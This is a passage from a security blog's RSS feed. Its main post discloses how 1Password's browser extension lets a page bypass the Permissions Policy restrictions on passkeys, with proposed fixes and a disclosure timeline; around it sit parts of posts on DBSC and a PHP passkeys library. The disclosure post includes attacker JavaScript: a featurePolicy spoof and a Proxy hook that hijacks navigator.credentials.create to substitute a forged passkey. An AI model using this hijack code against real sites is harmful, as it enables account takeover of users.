    }</code></pre><p></p><p>The browser now has a new DBSC cookie that it can use until it needs refreshing, at which point, the process will repeat. Here&apos;s a diagram to give an overview of the full two-step refresh process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png" class="kg-image" alt="Device Bound Session Credentials: Making Stolen Cookies Useless" loading="lazy" width="1055" height="1491" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-refresh.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-refresh.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png 1055w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="optimising-for-one-step-refresh-rather-than-two-step">Optimising for one-step refresh rather than two-step</h3><p>The difference between a two-step refresh process and a one-step refresh process is whether or not the browser already has a challenge it can sign and return to the server to refresh the DBSC cookie. The challenge is communicated to the browser in the <code>Secure-Session-Challenge</code> HTTP response header. If we look at the two roundtrips to the refresh endpoint above, the browser sent a empty POST in the first one, indicating it has no challenge. The application responds with a 403 and</p><pre><code class="language-http">Secure-Session-Challenge: &quot;def456&quot;; id=&quot;9c2b7f3e1a&quot;
    </code></pre><p></p><p>The browser then signed this challenge and returned it to the refresh endpoint. The application responded with a 200 and the new DBSC cookie, but also the <em>next</em> challenge.</p><pre><code class="language-http">Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;</code></pre><p></p><p>This means that the next refresh can now become a one-step refresh as the first roundtrip to fetch the challenge can be completely skipped, the browser already has it!</p><p>We now know the only scenario where you&apos;re going to see a two-step refresh is if the browser doesn&apos;t have the challenge. The two most likely causes for this are:</p><ol><li>The first refresh after registration for an active session.</li><li>A delayed refresh after the DBSC cookie and challenge have expired.</li></ol><p></p><p>The first of these seems odd at a glance. The browser has just registered for DBSC and got the first DBSC cookie, how can it possibly not have the next challenge? The reason is that the application can&apos;t send the next challenge on the response that creates the DBSC session on the browser. As a DBSC session hasn&apos;t been created on the browser yet, there is no session to store the challenge against. The challenge has to be sent <em>after</em> registration. To solve this, the application can pre-emptively send the next challenge on any response to the browser after registration has completed, it doesn&apos;t have to be a response to a DBSC-based request. You can send it the next time the browser loads a page, for example:</p><pre><code class="language-http">GET /account/home HTTP/1.1</code></pre><pre><code class="language-http">HTTP/1.1 200 OK
    Content-Type: text/html
    Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;
    
    &lt;html&gt;
    ...
    &lt;/html&gt;
    </code></pre><p></p><p>This is what Report URI currently does in production. After DBSC has been successfully registered, the next navigation will trigger the challenge to be sent to the browser. Of course, the other option is that the application doesn&apos;t have to worry about this and it can just allow that first refresh after registration to be a two-step process. It&apos;s happening asynchronously in the background, so it&apos;s not a huge loss. </p><p>The second scenario that you&apos;re always going to see a two-step refresh process is if you&apos;ve had a tab in the background for a while and both the DBSC cookie and the challenge have expired. There&apos;s no way around this one and a two-step process here is expected to seed the new refresh cycle, which will be one-step from then onwards. </p><p></p><h4 id="privacy-concerns">Privacy Concerns</h4><p>Being able to bind a unique and reliable identifier to a device is an incredibly powerful security mechanism, but it could also provide the ability to be a dangerous tracking mechanism too. The <a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io#privacy-considerations" rel="noreferrer">spec</a> immediately set out to address potential privacy concerns and during our implementation, testing and usage of DBSC, I&apos;ve not yet found anything that would be a concern from a privacy standpoint. The biggest solution to head off a problem is that the key pair used for DBSC is not persistent, each new DBSC session gets a new key pair. This means you can&apos;t even use DBSC to track a physical device across different sessions on the same website, let alone across different sites. There are also additional privacy considerations:</p><ul><li>Lifetime of a session/key material: This should provide no additional client data storage (i.e., a pseudo-cookie). As such, we require that browsers MUST clear sessions and keys when clearing other site data (like cookies).</li><li>Implementing this API should not meaningfully increase the entropy of heuristic device fingerprinting signals. In particular, DBSC should not leak any stable device identifiers.</li><li>As this API MAY allow background &quot;pings&quot; for performance, this must not enable long-term tracking of a user when they have navigated away from the connected site.</li><li>Each session has a separate new key created, and it should not be possible to detect that different sessions are from the same device.</li></ul><p></p><h3 id="client-support">Client Support</h3><p>As it stands right now, we have support for DBSC in Chrome on Windows (<a href="https://developer.chrome.com/blog/dbsc-windows-announcement)?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a>), and it looks like we could get it soon on <a href="https://chromestatus.com/feature/5140168270413824?ref=scotthelme.ghost.io" rel="noreferrer">macOS too</a>, I&apos;d guess at some point in 2026. Microsoft have also done an origin trial in Edge so there are some good indications coming from them too, they&apos;ve merged their BPOP work in to DBSC. We&apos;re still waiting on a recent position from Mozilla, their last statements were made back in <a href="https://github.com/mozilla/standards-positions/issues/912?ref=scotthelme.ghost.io" rel="noreferrer">2023</a>. </p><p>The good news is that DBSC will gracefully fall back and have no impact on clients that don&apos;t support it, so we can deploy it now and protect a subset of our users that will only grow over time.</p><p></p><h3 id="sources">Sources</h3><p><a href="https://developer.chrome.com/docs/web-platform/device-bound-session-credentials?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials (DBSC) | Chrome for Developers</a><br><a href="https://developer.chrome.com/blog/dbsc-windows-announcement?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials now available on Windows | Chrome for Developers</a><br><a href="https://developer.chrome.com/blog/dbsc-origin-trial?ref=scotthelme.ghost.io" rel="noreferrer">Origin trial: Device Bound Session Credentials in Chrome | Chrome for Developers</a><br><a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials (W3C draft spec)</a><br><a href="https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io" rel="noreferrer">w3c/webappsec-dbsc spec repo</a></p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper]]></title>
                <description><![CDATA[<p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I</p>]]></description>
                <link>https://scotthelme.ghost.io/passkeys-permissions-policy-and-bug-hunting-in-1passwords-webauthn-wrapper/</link>
                <guid isPermaLink="false">69fef61c9c3a0c0001b5ea06</guid>
                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[Permissions Policy]]></category>
                <category><![CDATA[Content Security Policy]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Thu, 21 May 2026 14:40:02 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper"><p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I found that 1Password&#x2019;s browser extension could bypass one of those rules. A page could disable passkey creation and authentication with Permissions Policy, the browser would correctly block the native WebAuthn API, but 1Password&#x2019;s wrapper could still broker a working passkey ceremony.</p><p>This post walks through what I found, what a fix looks like, and why Content Security Policy and Permissions Policy remain useful defence-in-depth mechanisms when JavaScript goes rogue.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png" class="kg-image" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="enter-the-password-manager">Enter the password manager</h3><p>Password managers that support passkeys often need to act as an authenticator, so they wrap <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> on the page. This is fine if the wrapper preserves every guarantee the native API gave you, and 1Password&apos;s browser extension implements its passkey support by sitting in front of the browser&apos;s native WebAuthn API.</p><p>When the 1Password content script loads, it replaces <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code>, plus the three <code>PublicKeyCredential.*</code> capability-probe methods, with its own functions, so that when a site calls into WebAuthn, 1Password can offer to save or fill a passkey from the vault instead of &#x2014; or in addition to &#x2014; the platform authenticator.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/1password-logo-dark.svg" class="kg-image" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper" loading="lazy" width="136" height="26"></figure><p></p><p>In the version I originally reported against (8.12.12.44), that replacement was done the simplest possible way: direct property assignment. The installer function just wrote the wrapper onto the live <code>navigator.credentials</code> object, and a second function re-applied it on a 100ms timer so that if anything clobbered it, 1Password would quietly put it back:</p><pre><code class="language-js">var E = () =&gt; {
        window.navigator.credentials.create = B;   // B = the create wrapper
        window.navigator.credentials.get = G;      // G = the get wrapper
        window.PublicKeyCredential.isConditionalMediationAvailable = J;
        window.PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable = j;
        window.PublicKeyCredential.getClientCapabilities = V;
    };
    function L() {
        window.navigator.credentials &amp;&amp; (p(), E(), setInterval($, 100));
    }</code></pre><p></p><p>The wrapper these functions installed (<code>B</code> for create) was the minified one-liner that became the centrepiece of my disclosure. It checks <code>publicKey.hints</code>, then routes either to 1Password&apos;s own implementation <code>W(e)</code> or to the saved native call <code>u.credentials.create(e)</code>:</p><pre><code class="language-js">async function B(e) {
        return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);
    }</code></pre><p></p><p>Two properties of this design matter for an attack. First, the wrapper never consults the document&apos;s Permissions-Policy, so a page that sends <code>Permissions-Policy: publickey-credentials-create=()</code>, which makes the native API reject, still gets a fully functional 1Password ceremony, because the extension&apos;s code runs in front of the native enforcement and simply doesn&apos;t replicate it. Second, the underlying main-world &#x21C4; content-script message bus that the wrapper uses to talk to the rest of the extension has no per-page authentication: its <code>validateMessage</code> routine only checks that structural fields are present and well-typed:</p><pre><code class="language-js">return h(n.msgId) ? h(n.source) ? h(n.name)
        ? (/* type must be one of the op-window-* values */) ? !0 : !1
        : !1 : !1 : !1;</code></pre><p></p><p>No nonce, no shared secret, and no signed envelope. And because <code>navigator.credentials.create</code> was a plain writable data property, page JavaScript could overwrite it outright. That is exactly what a supply-chain or stored-XSS payload can do: replace the function, let the user complete a genuine biometric prompt, then substitute an attacker-generated keypair before the credential reaches the server. The website gets the attacker&apos;s passkey, and 1Password stores a different one. </p><p></p><p>1Password closed my issues as Informative and their reasoning makes a lot of sense. Everything I&apos;d shown requires an attacker to have JavaScript executing in the RP&apos;s main world, with an XSS vulnerability or JavaScript supply-chain compromise being the most likely candidates. </p><ol><li>I covered the account-takeover vector in my previous post <a href="https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none?ref=scotthelme.ghost.io" rel="noreferrer">XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None</a>, and it could be carried out by any attacker with XSS on an RP that accepts <code>attestation: &quot;none&quot;</code>. It&apos;s fair to state that this is not a 1Password vulnerability.</li><li>Establishing a secret between an isolated-world content script and a main-world stub, through a channel co-resident main-world JS provably cannot reach, is a genuinely hard problem and drawing a threat boundary here is also fair to do.</li><li>I agree with drawing a threat boundary around generic XSS-driven account takeover, but I still think the Permissions Policy bypass is different. The site explicitly removed WebAuthn capability from the page, the browser honoured that decision, and the extension handed that capability back.</li></ol><p></p><h3 id="fixing-the-permissions-policy-bypass">Fixing the Permissions Policy Bypass</h3><p>Sites that load third-party code like analytics, tag managers, chat widgets, CDN dependencies and more, can send the following header.</p><p><code>Permissions-Policy: publickey-credentials-create=(), publickey-credentials-get=()</code></p><p></p><p>This will deliberately strip WebAuthn capabilities from those pages, and those capabilities can then be enabled only on pages that the site expects to use them, like their hardened <code>/login</code> or <code>/account/security</code> endpoints. It&apos;s a browser-enforced control that the call rejects with <code>NotAllowedError</code> before any UI appears. The 1Password wrapper silently bypasses this. Its <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> wrappers run in the page&apos;s main world and never check the document&apos;s Permissions-Policy, so the capability the website deliberately withdrew is handed straight back, <em>but only when the 1Password extension is installed</em>. The site did everything right, the browser enforced it correctly, and a trusted extension, not the attacker, reopened the door for the compromised script to drive a passkey ceremony the page expressly forbade.</p><p>To solve this issue, my first instinct was to bolt the check onto the wrapper, which is exactly what I proposed in my report, but that idea doesn&apos;t stand up to much scrutiny.</p><pre><code class="language-js">async function B(e) {
        const pp = document.permissionsPolicy || document.featurePolicy;
        if (pp &amp;&amp; !pp.allowsFeature(&apos;publickey-credentials-create&apos;)) {
            throw new DOMException(
                &apos;The operation is not allowed by the document Permissions Policy.&apos;,
                &apos;NotAllowedError&apos;
            );
        }
        return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);
    }</code></pre><p></p><p>Against an unsophisticated payload this could well work, but ultimately it&apos;s a security decision being made in the wrong place. 1Password&apos;s <code>B</code>/<code>W</code> wrappers run in the page&apos;s main world, which is the entire reason the page can see a replaced <code>navigator.credentials.create</code>, which means the value the guard reads is attacker-reachable:</p><pre><code class="language-js">// attacker, page main world
    Object.defineProperty(document, &apos;featurePolicy&apos;, {
        get: () =&gt; ({ allowsFeature: () =&gt; true })
    });</code></pre><p></p><p>Now <code>pp.allowsFeature(...)</code> returns <code>true</code>, the guard falls through, and the ceremony proceeds on a page whose real policy forbids it. A check is only as trustworthy as the context it executes in, and the main world is, by construction, the context the attacker controls. This is the same reason a per-page bridge token stashed in main-world JS doesn&apos;t hold, and it&apos;s why 1Password&apos;s &quot;your mitigation lives with the attacker&quot; was a fair objection to my suggestion. </p><p>The fix is to move the decision out of the main world and into the extension&apos;s isolated world, the content script. A content script shares the page&apos;s DOM but has a separate JavaScript heap that page script cannot read or patch, and its <code>document.featurePolicy</code> resolves to the genuine, browser-computed policy for that frame, including the <code>=()</code>, <code>=(self)</code>, and cross-origin-iframe cases. Page JS cannot make the isolated world&apos;s view lie. So the gate belongs on the bridge handler that brokers the ceremony, before anything is forwarded to the background or native helper:</p><pre><code class="language-js">const PP_FEATURE = {
        &apos;create-credential&apos;: &apos;publickey-credentials-create&apos;,
        &apos;get-credential&apos;:    &apos;publickey-credentials-get&apos;,
    };
    
    function permissionsPolicyAllows(routeName) {
        const feature = PP_FEATURE[routeName];
        if (!feature) return true; // not a WebAuthn route
        const pp = document.permissionsPolicy || document.featurePolicy;
        // No policy object &#x2192; treat as allowed (legacy/unsupported); a present
        // policy is authoritative and cannot be patched from the main world.
        return !pp || pp.allowsFeature(feature);
    }
    
    // Wherever the content script receives a brokered WebAuthn request from the
    // bridge, refuse it here &#x2014; fail closed &#x2014; before any message reaches the
    // background service worker or the native app.
    function handleBridgeRequest(msg) {
        if (!permissionsPolicyAllows(msg.name)) {
            return respond(msg, {
                type: &apos;create-credential-error&apos;,
                data: { reason: &apos;permissions-policy-denied&apos; },
            });
        }
        return forwardToBackground(msg);
    }</code></pre><p></p><p>The extension can read the true Permissions Policy because the isolated world observes the same page the attacker is in but cannot be entered or tampered with from the page&apos;s main world; the native ceremony is brokered further still, through the background service worker and the native app over native messaging, none of which page script can reach. Enforced here and failing closed, every route from my reports is closed at once: calling the native API directly still hits the browser&apos;s own rejection; spoofing <code>document.featurePolicy</code> only fools the main world, not the isolated-world gate; and forging bridge messages to disable interception just falls through to the native API, which also rejects. Critically, this is the same architectural move required to authenticate the bridge, stop trusting the main world for security decisions and make the content script the authority.</p><p>To be crystal clear: this control doesn&apos;t stop a compromised script from registering a passkey directly with an RP that accepts <code>attestation: &quot;none&quot;</code>, nothing on the client can do that (see my <a href="https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/?ref=scotthelme.ghost.io" rel="noreferrer">previous blog post</a>). An attacker with page script can always synthesise a <code>fmt:&quot;none&quot;</code> credential in JavaScript and POST it straight to the RP&apos;s enrolment endpoint. What <code>publickey-credentials-create=()</code> removes is the page&apos;s ability to invoke a genuine <code>navigator.credentials.create()</code> ceremony, a real prompt, a real authenticator, a real attestation, so the only thing it can still produce is an unattested forgery the RP  is free to reject. 1Password&apos;s extension bypass hands back to the malicious script exactly the legitimate-looking ceremony the policy was meant to deny.</p><p>The same distinction matters for login, not just registration. The worse problem is an escalation wherever the script does not already have the user&apos;s authenticated session for that origin: any logged-out page, a pre-auth surface, or the kind of third-party-heavy page a site deliberately locks down with <code>publickey-credentials-get=()</code> precisely because it loads code it doesn&apos;t fully trust. A compromised analytics or tag-manager script on such a page cannot ride a session that does not exist, and the platform guarantee is that it cannot invoke a credential ceremony either. That guarantee is the entire point of the policy. 1Password&apos;s bypass removes it, handing that malicious script a genuine, user-approvable login ceremony whose assertion it can rely straight back to the RP. The only case where this doesn&apos;t matter is a script already running inside the authenticated app, where there&apos;s a live session to abuse regardless &#x2014; and that is not the scenario this policy exists to defend. </p><p></p><h3 id="an-extension-update-shortly-after-my-report">An Extension Update Shortly After My Report</h3><p>Shortly after my report, 1Password released an extension update (8.12.20.10). After installing the update, I noticed that one of the PoCs I&apos;d created had stopped working. They seemed to have changed something, so I dug in.</p><p>After diffing the two builds of the extension, the vast majority of the changes were cosmetic, but a change to <code>webauthn-listeners.js</code> caught my eye. The change was not in what the 1Password wrappers did, but in how they were installed. The plain assignment and the <code>setInterval</code> polling loop were gone, and in their place, each method is defined as a non-configurable accessor property whose getter always returns 1Password&apos;s wrapper and whose setter is a no-op that merely logs a warning:</p><pre><code class="language-js">Object.defineProperty(parentRef, methodName, {
        configurable: false,
        enumerable: true,
        get() { return newMethod; }, // always returns 1P&apos;s wrapper
        set() {
            console.warn(`Cannot overwrite ${loggableLabel} method while 1Password is enabled`);
        }
    });</code></pre><p></p><p>I jumped to the console on the PoC page and I could indeed see the new console warning:</p><pre><code>Cannot overwrite navigator.credentials.create method while 1Password is enabled</code></pre><p></p><p>The behavioural change is subtle, but important. Previously, <code>navigator.credentials.create = evil</code> worked, at least until the next polling tick re-applied 1Password&apos;s version. In the newer build the same statement neither throws nor takes effect: the assignment hits a no-op setter, is silently swallowed, and the console shows the warning above. The property is now a non-configurable accessor, so page script can no longer replace or shadow the injected WebAuthn shim.</p><p>This landed shortly after my report, so I asked 1Password directly whether the two were connected. They said they were not: the change came from a separate, pre-existing hardening track aimed at a different surface (session-delegation <code>CustomEvents</code> in another content script), as part of rolling a non-configurable-accessor pattern broadly across the extension&apos;s main-world stubs as defence-in-depth, the WebAuthn wrapper being one of several, in the same build. Internal motivation isn&apos;t something I can verify from outside, and timing alone doesn&apos;t establish it, so I&apos;ll happily take that at face value.</p><p>The interesting part doesn&apos;t depend on the motivation, though. Whichever track it came from, the extension is now applying tamper-resistance to precisely the surface in question; page-side replacement of the WebAuthn API by attacker-controlled JavaScript in the RP&apos;s main world. Something that 1Password&apos;s own threat model treats as out of scope. They are hardening, as routine hygiene, a path they simultaneously decline to treat as a vulnerability. That tension is the point, and it stands whether or not my report had anything to do with the change.</p><p>It&apos;s also worth being precise about what this change is and isn&apos;t. Making the accessor non-configurable protects the integrity of the wrapper so page script can&apos;t clobber it. It does nothing about whether the wrapper, once invoked, honours Permissions Policy. Those are independent: a tamper-proof shim that still ignores <code>publickey-credentials-get=()</code> / <code>publickey-credentials-create=()</code> is exactly as policy-blind as it was before. This hardening does not touch the Permissions Policy override described earlier, and 1Password&apos;s response commits to no fix for that, so it remains.</p><p></p><h3 id="updating-the-poc-to-work-again">Updating the PoC to Work Again</h3><p>Our &quot;Gesture-Preserving Forgery&quot; demo (<a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a>) ships an attacker payload that hooks <code>navigator.credentials.create</code>, lets the user complete a real ceremony, then swaps in a JavaScript-generated keypair before the page POSTs the credential to <code>/register/finish</code>. The password manager stores a passkey, but it&apos;s the wrong one. The passkey registered with the service was one controlled by the attacker.</p><p>The malicious payload on that demo page installed its hook the classic way:</p><pre><code class="language-js">navigator.credentials.create = async function (opts) { /* &#x2026; forge &#x2026; */ };</code></pre><p></p><p>On the new version of the extension, that&apos;s exactly what the newly introduced setter swallows. The malicious hook is never installed, the console shows me the new warning, and the demo no longer works. The fix only took a little wrangling after I noticed that the new lock protects the leaf <code>get</code>/<code>create</code> properties and not the path to get there, <code>navigator.credentials</code> itself. The first attempt has been kept as direct assignment to <code>create</code>, but if that doesn&apos;t take, we fall back to replacing <code>navigator.credentials</code> with a <code>Proxy</code> and returning our own hook for <code>create</code> whilst transparently passing everything else through. </p><pre><code class="language-js">let installed = false;
    try {
        navigator.credentials.create = hijackCreate;
        installed = navigator.credentials.create === hijackCreate;
    } catch (e) { /* non-configurable property with a throwing setter */ }
    
    if (!installed) {
        // 1Password locked the `create` property &#x2014; but not the container.
        const fakeContainer = new Proxy(realContainer, {
            get(target, prop) {
                if (prop === &apos;create&apos;) return hijackCreate;
                const value = Reflect.get(target, prop, target);
                return typeof value === &apos;function&apos; ? value.bind(target) : value;
            },
        });
        const shadow = { configurable: true, enumerable: true, get() { return fakeContainer; } };
        try {
            Object.defineProperty(Navigator.prototype, &apos;credentials&apos;, shadow);
            installed = navigator.credentials === fakeContainer;
        } catch (e) { /* try the instance next */ }
        if (!installed) {
            try {
                Object.defineProperty(navigator, &apos;credentials&apos;, shadow);
                installed = navigator.credentials === fakeContainer;
            } catch (e) { /* give up */ }
        }
    }</code></pre><p></p><p>1Password&apos;s patch stops the property swap but not the underlying forgery, because a non-configurable accessor on <code>navigator.credentials.create</code> only protects that one leaf, leaving the path to it (<code>navigator.credentials</code>, <code>Navigator.prototype.credentials</code>,<code> window.PublicKeyCredential</code>) fully attacker-controllable. For now, that brings <a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a> back to life, and I&apos;d be interested to hear about the behaviour you see on this page in the presence of other browser extensions or other software you might have installed that could interact with the WebAuthn process. Drop your comments down below!</p><p></p><h3 id="permissions-policy-and-content-security-policy">Permissions Policy and Content Security Policy</h3><p><a href="https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io" rel="noreferrer">Permissions Policy</a> and <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> are both defence-in-depth security measures, you get to declare what a page is allowed to do, which capabilities exist, which origins may run script, and the browser enforces it before anything else happens. </p><p>Crucially, both of these headers can also send telemetry when something happens that isn&apos;t supposed to happen. Report URI collects those telemetry events at scale and turns them into something you can act on. The third-party script that suddenly tried to reach a capability it shouldn&apos;t, the CDN dependency that started pulling resources from a new origin, the moment your own policy began doing real work. That visibility is the whole point.</p><p>The ultimate solution to the problems raised in this post is &quot;duh, don&apos;t get XSS in the first place&quot;, but I bet that&apos;s already everyone&apos;s goal. Despite that, XSS was the Top Threat of <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">2024</a>, <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">2025</a>, and it&apos;s already pulling out ahead of everything else in 2026. Just last week it was <a href="https://www.bleepingcomputer.com/news/security/instructure-confirms-hackers-used-canvas-flaw-to-deface-portals/?ref=scotthelme.ghost.io" rel="noreferrer">revealed</a> that the Instructure / Canvas breach began with multiple XSS vulnerabilities that allowed session hijacking of admin accounts. They&apos;ve since &#x201C;reached an agreement&#x201D; with the threat actor, which may have involved paying a hefty ransom. CSP is easier to start with than many people expect. You do not need a perfect policy on day one; even report-only mode can start giving you useful telemetry about what code is running in the browser. You can refer to our dedicated <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys solutions page</a> for more info.</p><p></p><h3 id="disclosure-and-closing">Disclosure and Closing</h3><p>Passkeys are still a better option and the right answer to many problems. This blog post shouldn&apos;t discourage anyone from using them. The ecosystem around passkeys is still young, passkeys have definitely not had as long to mature as passwords have!</p><p>Reported to 1Password on 8th May 2026<br>Issue closed by 1Password on 14th May 2026<br>Extension v8.12.20.10 build date 14th May 2026<br>Extension v8.12.20.10 <a href="https://chromewebstore.google.com/detail/1password-%E2%80%93-password-mana/aeblfdkhhhdcdjpifhhbdiojplfjncoa?hl=en&amp;ref=scotthelme.ghost.io" rel="noreferrer">release date</a> 15th May 2026<br>Bridge Spoof PoC (same-origin script): <a href="https://report-uri-demo.com/passkeys/5/?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Bridge Spoof PoC (third-party script): <a href="https://report-uri-demo.com/passkeys/6/?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Wrapper override PoC: <a href="https://report-uri-demo.com/passkeys/3/?protected&amp;ref=scotthelme.ghost.io" rel="noreferrer">link</a><br></p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js" integrity="sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <!--kg-card-end: html-->
    ]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP]]></title>
                <description><![CDATA[<p>We&apos;ve open-sourced <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now,</p>]]></description>
                <link>https://scotthelme.ghost.io/open-sourcing-passkeys-php-a-security-focused-webauthn-library-for-php/</link>
                <guid isPermaLink="false">6a09db9d197769000166677a</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[PHP]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 20 May 2026 12:16:58 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png" alt="Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP"><p>We&apos;ve open-sourced <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now, rather than carrying those patches privately, we&#x2019;re releasing them as a small, auditable, MIT-licensed PHP library for everyone else building normal passkey login flows.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png" class="kg-image" alt="Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png 800w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To get started: <code>composer require report-uri/passkeys-php</code><br>Packagist: <a href="https://packagist.org/packages/report-uri/passkeys-php?ref=scotthelme.ghost.io">https://packagist.org/packages/report-uri/passkeys-php</a></p><p></p><h3 id="why-we-built-it">Why We Built It</h3><p>Our <code>passkeys-php</code> is a maintained fork of the excellent <a 